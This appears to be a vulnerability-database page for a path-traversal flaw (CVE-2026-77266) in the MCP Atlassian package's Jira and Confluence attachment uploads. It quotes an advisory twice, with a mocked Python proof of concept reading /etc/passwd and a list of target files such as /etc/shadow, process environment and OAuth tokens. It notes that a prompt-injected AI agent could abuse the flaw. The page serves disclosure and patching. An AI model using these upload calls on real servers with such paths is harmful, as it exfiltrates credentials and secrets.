CVE-2026-77266: MCP Atlassian — MEDIUM

### Summary The `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or...

Full CISO analysis pending enrichment.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
MCP Atlassian	pip	< 0.22.0	`0.22.0`
1 dependents 85% patched ~3d to patch Full package profile →

Do you use MCP Atlassian? You're affected.

How severe is it?

CVSS 3.1

6.5 / 10

EPSS

N/A

Exploitation Status

No known exploitation

Sophistication

N/A

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Unchanged

C High

I None

A None

What should I do?

Patch available

Update MCP Atlassian to version 0.22.0

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-77266?

### Summary The `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or `/proc/self/environ`, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment. This is an **incomplete fix** relative to GHSA-xjgw-4wvw-rgm4: the `download_attachment` and `download_issue_attachments` paths were hardened with `validate_safe_path()`, but the upload direction was left unguarded in both the Jira and Confluence modules. --- ### Details **Affected functions:** | File | Function | Line | |------|----------|------| | `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372–415 | | `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62–108 | | `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476–477 | **Jira — vulnerable code path (`jira/attachments.py`):** ```python def upload_attachment(self, issue_key: str, file_path: str) -> dict: ... if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # resolves relative paths if not os.path.exists(file_path): # confirms file exists ... # ⚠ validate_safe_path() is NEVER called here filename = os.path.basename(file_path) with open(file_path, "rb") as file: # arbitrary file opened attachment = self.jira.add_attachment( issue_key=issue_key, filename=file_path ) ``` Compare with the **protected** download path in the same file: ```python def download_attachment(self, url: str, target_path: str) -> bool: ... validate_safe_path(target_path) # upload has no equivalent ``` **Confluence — vulnerable code path (`confluence/attachments.py`):** ```python def upload_attachment(self, content_id, file_path, ...): ... if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # ⚠ validate_safe_path() is NEVER called filename = os.path.basename(file_path) attachment = self._upload_attachment_direct( content_id, file_path, filename, comment, minor_edit ) # Inside _upload_attachment_direct(): files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened ``` --- ### PoC Tested against commit `d8bc786` (v0.21.1, latest `main`). No real Atlassian credentials required — the API call is stubbed. **Jira PoC (`poc_001_jira_path_traversal.py`):** ```python import sys, os, types from unittest.mock import MagicMock sys.path.insert(0, "src") def _make_pkg(name): m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m atlassian_pkg = _make_pkg("atlassian") atlassian_jira = _make_pkg("atlassian.jira") atlassian_pkg.jira = atlassian_jira atlassian_jira.Jira = type("Jira", (), { "__init__": lambda s, *a, **k: None, "_session": MagicMock() }) atlassian_pkg.Jira = atlassian_jira.Jira keyring = _make_pkg("keyring") keyring.get_password = keyring.set_password = lambda *a, **k: None from mcp_atlassian.jira.attachments import AttachmentsMixin from mcp_atlassian.jira.config import JiraConfig config = JiraConfig(url="https://test.atlassian.net", auth_type="basic", username="x", api_token="x") class FakeFetcher(AttachmentsMixin): def __init__(self): self.config = config self.jira = MagicMock() self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"} result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd") print(result) ``` **Observed output — Jira (Kali Linux, v0.21.1):** <img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" /> ``` [*] Target file : /etc/passwd [*] Calling : AttachmentsMixin.upload_attachment() [*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'} [*] Files opened: ['/etc/passwd'] [!!!] VULNERABLE — file opened with no path validation add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd') ``` **Observed output — Confluence (Kali Linux, v0.21.1):** <img width="2682" height="576" alt="image" src="https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004" /> ``` [*] Target file : /etc/passwd [*] Calling : ConfluenceAttachmentsMixin.upload_attachment() [*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'} [*] Files opened: ['/etc/passwd'] [!!!] VULNERABLE — /etc/passwd opened without validate_safe_path() upload_attachment() → _upload_attachment_direct() → open(file_path) download_attachment() in same file IS protected — asymmetric fix ``` Key evidence: - `success: True` — no exception raised, no path validation triggered - `size: 3388` — `/etc/passwd` was opened and read by `os.path.getsize()` - Both modules affected independently — neither Jira nor Confluence has an upload-side guard In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page. --- ### Impact Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process: - `/etc/shadow` — system password hashes - `/proc/self/environ` — process environment variables (API keys, secrets) - `~/.mcp-atlassian/oauth-*.json` — stored OAuth refresh tokens - SSH private keys, TLS certificates, application configuration files No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the `jira_upload_attachment` and `confluence_upload_attachment` MCP tools are affected. **Root cause:** The `validate_safe_path()` utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.

Is CVE-2026-77266 actively exploited?

No confirmed active exploitation of CVE-2026-77266 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-77266?

Update to patched version: MCP Atlassian 0.22.0.

What is the CVSS score for CVE-2026-77266?

CVE-2026-77266 has a CVSS v3.1 base score of 6.5 (MEDIUM).

What are the technical details?

Original Advisory

### Summary The `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or `/proc/self/environ`, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment. This is an **incomplete fix** relative to GHSA-xjgw-4wvw-rgm4: the `download_attachment` and `download_issue_attachments` paths were hardened with `validate_safe_path()`, but the upload direction was left unguarded in both the Jira and Confluence modules. --- ### Details **Affected functions:** | File | Function | Line | |------|----------|------| | `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372–415 | | `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62–108 | | `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476–477 | **Jira — vulnerable code path (`jira/attachments.py`):** ```python def upload_attachment(self, issue_key: str, file_path: str) -> dict: ... if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # resolves relative paths if not os.path.exists(file_path): # confirms file exists ... # ⚠ validate_safe_path() is NEVER called here filename = os.path.basename(file_path) with open(file_path, "rb") as file: # arbitrary file opened attachment = self.jira.add_attachment( issue_key=issue_key, filename=file_path ) ``` Compare with the **protected** download path in the same file: ```python def download_attachment(self, url: str, target_path: str) -> bool: ... validate_safe_path(target_path) # upload has no equivalent ``` **Confluence — vulnerable code path (`confluence/attachments.py`):** ```python def upload_attachment(self, content_id, file_path, ...): ... if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # ⚠ validate_safe_path() is NEVER called filename = os.path.basename(file_path) attachment = self._upload_attachment_direct( content_id, file_path, filename, comment, minor_edit ) # Inside _upload_attachment_direct(): files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened ``` --- ### PoC Tested against commit `d8bc786` (v0.21.1, latest `main`). No real Atlassian credentials required — the API call is stubbed. **Jira PoC (`poc_001_jira_path_traversal.py`):** ```python import sys, os, types from unittest.mock import MagicMock sys.path.insert(0, "src") def _make_pkg(name): m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m atlassian_pkg = _make_pkg("atlassian") atlassian_jira = _make_pkg("atlassian.jira") atlassian_pkg.jira = atlassian_jira atlassian_jira.Jira = type("Jira", (), { "__init__": lambda s, *a, **k: None, "_session": MagicMock() }) atlassian_pkg.Jira = atlassian_jira.Jira keyring = _make_pkg("keyring") keyring.get_password = keyring.set_password = lambda *a, **k: None from mcp_atlassian.jira.attachments import AttachmentsMixin from mcp_atlassian.jira.config import JiraConfig config = JiraConfig(url="https://test.atlassian.net", auth_type="basic", username="x", api_token="x") class FakeFetcher(AttachmentsMixin): def __init__(self): self.config = config self.jira = MagicMock() self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"} result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd") print(result) ``` **Observed output — Jira (Kali Linux, v0.21.1):** <img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" /> ``` [*] Target file : /etc/passwd [*] Calling : AttachmentsMixin.upload_attachment() [*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'} [*] Files opened: ['/etc/passwd'] [!!!] VULNERABLE — file opened with no path validation add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd') ``` **Observed output — Confluence (Kali Linux, v0.21.1):** <img width="2682" height="576" alt="image" src="https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004" /> ``` [*] Target file : /etc/passwd [*] Calling : ConfluenceAttachmentsMixin.upload_attachment() [*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'} [*] Files opened: ['/etc/passwd'] [!!!] VULNERABLE — /etc/passwd opened without validate_safe_path() upload_attachment() → _upload_attachment_direct() → open(file_path) download_attachment() in same file IS protected — asymmetric fix ``` Key evidence: - `success: True` — no exception raised, no path validation triggered - `size: 3388` — `/etc/passwd` was opened and read by `os.path.getsize()` - Both modules affected independently — neither Jira nor Confluence has an upload-side guard In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page. --- ### Impact Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process: - `/etc/shadow` — system password hashes - `/proc/self/environ` — process environment variables (API keys, secrets) - `~/.mcp-atlassian/oauth-*.json` — stored OAuth refresh tokens - SSH private keys, TLS certificates, application configuration files No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the `jira_upload_attachment` and `confluence_upload_attachment` MCP tools are affected. **Root cause:** The `validate_safe_path()` utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.

Weaknesses (CWE)

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Primary CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

[Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
[Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.